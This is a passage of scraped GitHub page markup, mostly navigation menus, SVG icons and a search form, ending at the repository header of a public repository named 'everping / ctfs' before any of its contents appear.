data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="34235949" data-scoped-search-url="/everping/ctfs/search" data-owner-scoped-search-url="/users/everping/search" data-unscoped-search-url="/search" data-turbo="false" action="/everping/ctfs/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="UR/VblkrNi4zwBNsZjhfBD42VIxsHZLczadm+kqC+DJ9rnWkahpeOaawECW9yXXVIHn0MMioPannzcSTrrONIg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> everping </span> <span>/</span> ctfs <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>5</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> 